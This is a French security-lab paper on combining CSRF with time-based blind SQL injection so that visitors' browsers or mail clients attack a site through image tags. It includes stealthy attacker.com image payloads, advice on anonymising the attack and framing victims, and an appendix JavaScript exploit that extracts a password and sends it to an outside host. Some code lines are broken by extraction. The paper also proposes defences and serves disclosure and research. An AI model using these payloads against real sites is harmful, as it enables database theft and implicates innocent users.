Advanced CSRF

Vincent Guasconi

Manfred Touron

TABLE DES MATIÈRES

Table des matières

| 1 | Inti | roduction | 2 |
|--------------|------------------------|--|---|
| 2 | Notions | | |
| | 2.1 | Cross Site Request Forgery | 3 |
| | 2.2 | Time based Blind SQL Injection | 3 |
| 3 | Advanced CSRF | | |
| | 3.1 | Proof of concept | 4 |
| | 3.2 | Some more advanced research | 5 |
| 4 | Some code - The server | | |
| | 4.1 | Presentation | 7 |
| | 4.2 | Welcome to the real world | 7 |
| 5 | Conclusions | | 8 |
| | 5.1 | Solutions | 8 |
| | 5.2 | | 8 |
| | 5.3 | Evil Researcher | 8 |
| \mathbf{A} | PoC | C javascript - Decentralized SQL injection | 9 |

Epitech : Security Lab

1 Introduction

Suite à quelques recherches sur les "Cross Site Request Forgery" au sein de l'ESL[1]¹, nous avons décidé d'expliquer et de diffuser un nouveau vecteur d'exploitation que nous estimions important².

Epitech: Security Lab

On commencera par amener les notions indispensables à la bonne compréhension du problème, suivra une partie de nos travaux de réflexion, la présentation du serveur développé en interne, et on terminera par les solutions envisageables et les conclusions.

 $^{^1\}mathrm{Epitech}$ Security Lab, nouveau laboratoire sécurité, à ne pas confondre avec le LSE

²et particulièrement fun

2 Notions

2.1 Cross Site Request Forgery

Source: Wikipedia³

Cross-site request forgery, also known as one click attack, sidejacking or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a type of malicious exploit of websites.

Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts.

Il est recommandé au lecteur non avisé de se documenter sur le sujet avant de poursuivre.[2][3]

On retiendra que les CSRF permettent de :

- Casser la Cross Domain Policy
- Agir à l'insu de l'utilisateur

et ont comme inconvénient majeur :

- L'impossibilité de récupérer ou d'intéragir avec la réponse.

2.2 Time based Blind SQL Injection

La "Time based Blind SQL Injection" est une méthode permettant d'exploiter les injections SQL dites "Total Blind". Lorsqu'aucune information n'est renvoyée à l'attaquant sur la réussite de la requête injectée, une des techniques consiste à ralentir le serveur SQL sur une condition, et d'analyser le temps que met la requête à se terminer (dans la quasi totalité des cas, le temps de réponse du serveur HTTP, de l'interpréteur et du serveur SQL sont liés).

Ces ralentissements peuvent être effectués au moyen de fonction comme "BENCHMARK()" ou "SLEEP()" en MySQL, "WAIT FOR DELAY" en MSSQL, "pg sleep()" en PostgreSQL...[4]

IF(password's first letter = 'a', SLEEP(5), SELECT 1)

Si la première lettre de la donnée est égale à 'a', la requête HTTP mettra 5 secondes de plus à se terminer. Si l'on considère que le temps de retour classique compte quelques centaines de microsecondes, il est donc possible d'établir un canal de communication binaire entre la base de donnée et l'attaquant.

Il est bien évidemment possible d'utiliser ce type de technique pour toutes les injections, qu'elles soient "blind" ou non.

³En anglais, car la page française est très légère.

3 Advanced CSRF

3.1 Proof of concept

"Impossibilité de récupérer ou d'intéragir avec la réponse."

Un élément de la réponse n'est pas pris en compte : le temps d'éxécution. Il est facilement récupérable, comme le montre le premier PoC^4 en javascript ci-dessous :

```
var img = new Image();
img.onerror = function (e) {
   end = new Date();
   document.write(end.getTime() - start.getTime());
}
start = new Date();
img.src = url;
```

Explication:

- Déclaration d'un objet image
- Stockage de l'heure courante (lancement du chrono)
- Lancement de la CSRF (en attribuant le champ "src")
- La requête se termine (onError() est appelé)
- Calcul de la différence entre end et start

Nous sommes donc capable d'effectuer, (avec assez de CSRF), et en utilisant la technique des "Time based Blind SQL Injection", une attaque depuis le navigateur d'un utilisateur tiers⁵.

Des limitations sont vite apparues :

- Le besoin du javascript
- Le referer dans les logs du serveur vulnérable
- L'auteur facilement identifiable si l'on retrouve la page avec le script

⁴Proof of Concept

 $^{^5}$ En annexe est fourni le code source d'une attaque complète permettant de ressortir un champ d'une base de donnée

3.2 Some more advanced research

Le javascript ne s'éxécute pas dans les mails, ni sur les navigateurs utilisant NoScript⁶. Nous sommes donc partis sur une nouvelle solution qui utiliserait uniquement des balises images.

La première problématique fut de forcer le client (navigateur, client mail, etc...) à effectuer ses requêtes une par une. Comme chacun se doute, les requêtes HTTP sont threadées, par exemple Firefox (Gecko) fait jusqu'à 24 requêtes simultanées, quand Internet Explorer en fait 1024⁷. Les premières images iront donc sur un faux serveur qui "engluera" le client, l'obligeant à attendre la fin de la précédente requête avant de commencer la suivante.

Explication:

- Engluage du client (glue.cgi, cgi qui ne répond pas)
- Lancement du chrono
- Time based injection
- Arrêt du chrono, puis lancement du suivant
- etc...

Il est donc possible de récupérer pour chacune des injections, le temps d'éxécution des requêtes. Le problème lié à javascript est donc résolu.

Les images, contrairement aux scripts, peuvent être posées sur un forum, un blog, ou envoyées par mail. Il reste encore le fait que l'attaque est clairement identifiable au niveau de la source du mail ou de la page.

L'attaque n'est aussi plus scriptable, prenons l'exemple basique vu précédemment :

```
IF(password's first letter = 'a', SLEEP(5), SELECT 1)
```

L'attaque complète testerait donc les lettres une par une, et une fois la première lettre trouvée, passerait à la suivante. Cela devient impossible car il

⁶Oui, ce n'est pas un mythe, des gens l'installent et certains arrivent même à s'en servir ⁷ Il est important de noter que par exemple pour Gecko, cette valeur max de requêtes n'est atteignable qu'en utilisant plusieurs domaines. Il existe une limitation de 4 requêtes

par domaine.

8 on parlera d'engluer le client, ne pas lui répondre tout en gardant la connexion ouverte. Cela permet de geler les threads.

faut prévoir les liens avant d'envoyer le mail (ou de poster son message). Il nous faudrait donc tester toutes les lettres qui suivent 'a', même si cette dernière est la bonne.

Le dernier point négatif est qu'il devient difficile de maitriser une exploitation massive non contrôlée du site vulnérable (dans le cas ou l'exploitation serait postée sur un forum à très grosse fréquentation).

La solution à ce problème a été vite trouvée, il suffit de fournir uniquement des liens vers un de nos cgis, qui se chargerait de générer des redirections en fonction des résultats précédents. Cela permet :

- Une généricitée de l'exploitation (liens fixes)
- De faciliter le calcul du max-requests (pour la glue)
- De maitriser le tout (il suffit d'arrêter les redirections et de fournir des images valides)
- D'anonymiser l'attaque (le referer ne suit pas les redirections ⁹)

Le code ne contient donc plus de lien avec le site vulnérable.

```
1 < img src="http://attacker.com/?RANDOM" />
2 < img src="http://attacker.com/?RANDOM" />
3 < img src="http://attacker.com/?RANDOM" />
4 [...]
```

Dans un soucis de furtivité, il pourra ressembler à¹⁰:

```
1  <img src="http://attacker.com/img/front.png" />
2  <img src="http://attacker.com/img/logo.png" />
3  <img src="http://attacker.com/img/bottom.png" />
4  [...]
```

⁹constaté sur tous les clients

 $^{^{10}}$ Le but étant de paraître légitime, de forcer l'utilisateur à afficher les images. On pourra utiliser d'alignements horribles, et de mots clefs chocs.

4 Some code - The server

4.1 Presentation

Il devenait de plus en plus compliqué et inutile d'utiliser des cgi pour satisfaire les besoins de ces attaques. De plus la qualité de l'exploitation se basant essentiellement sur les temps de réponse, le soucis d'optimisation se faisait de plus en plus pesant.

Epitech: Security Lab

Nous avons donc décidé de commencer le développement d'un serveur multiplexe en C. Les features sont les suivantes :

- L'identification des clients (permet de cibler des victimes)
- Le calcul automatique de l'engluage
- L'interface de scripting (pour les injections classiques)
- Les liens totalement génériques
- La distribution intelligente des injections sur plusieurs victimes

Les seuls logs qui permettraient d'identifier que l'attaque vient du faux serveur et non de la victime sont dans la mémoire des clients. Autant dire très éphémères.

Les logs sur les serveurs attaqués portent bien comme origine la marque de la victime.

Les fonctionnalitées de session, et d'automatisation permettent de décentraliser complètement une attaque.

4.2 Welcome to the real world

Donnons quelques exemples réels afin de bien situer ce qu'il est possible de faire :

- Dump complet d'une database depuis plusieurs milliers de machines qui ne sont que de simples visiteurs d'un site web, ou de simples lecteurs d'une mailing-list.
 - Une sorte de mini-botnet à usage ponctuel.
- Michel arrive au boulot, lit ses mails, et se retrouve l'auteur d'une attaque envers une société concurrente, avec pour seule preuve un mail publicitaire qui contient beaucoup de décor HTML.
- Chose dont on a pas parlé jusqu'alors, mais les injections SQL sur les panels d'administration, les espaces restreints, deviennent possibles depuis n'importe quelle page sur le web. Les avantages du cassage de la Cross Domain Policy pour les injections SQL.

5 Conclusions

5.1 Solutions

Toute cette étude permet de prouver encore une fois l'importance de la sensibilisation des développeurs aux problèmes des CSRF. L'utilisation de tokens au sein des formulaires reste la solution la plus évidente (tout en se tenant au courant des dernières informations sur le sujet[5]).

Dans le cas des attaques par mail, forcer le client mail à ne pas interpréter le HTML.

Dans un registre plus idyllique:

- Supprimer toutes les injections SQL de la planète
- Renforcer la Cross Domain Policy sur les images (empêcher qu'un site A utilise des images hébergées sur un site B).

Dans le cas des CSRF, c'est clairement un problème de design, solutionner ce problème implique de revoir complètement les normes autant côté navigateur que serveur.

C'est bien évidemment impossible aujourd'hui, le "Web 2.0" étant florissant, les choses ne peuvent que s'aggraver. Il reste donc à utiliser des rustines comme les tokens, le check des referer, traitement des entrées sorties par signatures...

5.2 Victim

Tant que le développement web sera fait par des gens non sensibilisés aux plus évidentes règles de sécurité, que des langages à pièges comme PHP seront "maitrisés" entre deux cours de géographie, il va falloir se faire à l'idée de surfer avec netcat et lire ses mails avec gnus.

5.3 Evil Researcher

Imagination et créativité sont les maitres mots pour ces nouveaux vecteurs d'exploitation. Piéger les crawlers de Google, utiliser des playlists de flux audios, etc...

On notera aussi l'arrivée sur le marché de technologies comme Adobe Integrated Runtime, qui permettront au développeur web d'augmenter son rayon d'action, en lui offrant la possibilitée de développer des applications pour le bureau¹¹.

¹¹Conclusion très personnelle : on est pas près de s'ennuyer.

A PoC javascript - Decentralized SQL injection

```
<script>
1
  // conf
  stime = 0.5;
  surl = 'http://attack.com/sstic/?id=';
  save pass = 'http://haxhome.biz/savepass.php?pass=';
  table name = 'pass';
  table fieldname = 'pass';
  table id = 1;
  // init globals counters
11
  pos = 1;
  len = 0;
13
   pass = ',';
  goodlen = 0;
  chr pos = 0;
  chr tab = Array(97, 98, 99, 100, 101, 102, 103, 104,
      105,\ 106,\ 107,\ 108,\ 109,\ 110,\ 111,\ 112,\ 113,\ 114,
      115, 116, 117, 118, 119, 120, 121, 122, //a-z
  48, 49, 50, 51, 52, 53, 54, 55, 56, 57, \frac{1}{0}
18
  65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77,
      78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89,
      90, //A-Z
   32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
      45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 92,
      93, 94, 95, 96, 123, 124, 125, 126); //other
  chr tab len = chr tab.length;
  is logged = 0;
22
  function sploit()
23
24
     if ((pos > len && goodlen))
26
         var img = new Image();
27
         alert('pass : ' + pass);
         img.src = save pass + pass;
         return ;
30
       }
31
     var img = new Image();
     start = new Date();
     img.onerror = function (e)
         end = new Date();
         if (end.getTime() - start.getTime() > stime *
38
       if (!is logged)
         is logged = 1;
```

```
else if (!goodlen)
41
         goodlen = 1;
42
       else
43
44
            pos++;
45
            pass += String.fromCharCode(chr tab[chr pos]);
46
           chr_pos = 0;
47
48
     }
49
          else
50
51
       if (!is logged)
52
53
         return ;
       if (!goodlen)
54
         len++;
55
       else
56
57
            if (chr_pos >= chr_tab_len)
58
       return ; // char not found
59
            chr_pos++;
61
     }
62
          sploit();
63
64
     if (!is logged)
65
       query = ((select 1));
66
     else if (!goodlen)
       query = '((select length(pass) from '+table name+'
            where id='+table id+'='+len+';
     else
69
       query = '((select ascii((select substr('+
70
           table fieldname+','+pos+',1) from '+table name
           +' where id='+table_id+'))='+chr_tab[chr_pos
           ]+')) ';
     img.src = surl+'if(('+query+'), sleep('+stime+'),0)';
71
   }
72
73
  sploit();
74
75
  </script>
```

Références

- [1] Epitech: Security Lab, Index of ACSRF http://esl.epitech.net/acsrf
- [2] Wikipedia-en, Cross-site request forgery

 http://en.wikipedia.org/wiki/Cross-site_request_forgery
- [3] Robert Auger, The Cross-Site Request Forgery FAQ http://www.cgisecurity.com/articles/csrf-faq.shtml
- [4] Ferruh Mavituna, SQL Injection Cheat Sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- [5] Insane Security, Regenerative Tokens

 http://insanesecurity.wordpress.com/2008/05/29/regenerative-tokens/
- [6] Daniel Chmielewski, Hiding the HTTP Referer with PHP, JS or Meta Refresh
 - http://www.dankind.com/blog/145/hiding-the-http-referer-with-php-js-or-meta
- [7] Slightly Shady SEO, Controlling Your Referer, and Hiding Your Traffic Sources
 - http : : //www.slightlyshadyseo.com/index.php/controlling-your-referer-and-hiding-your-traffic-sources/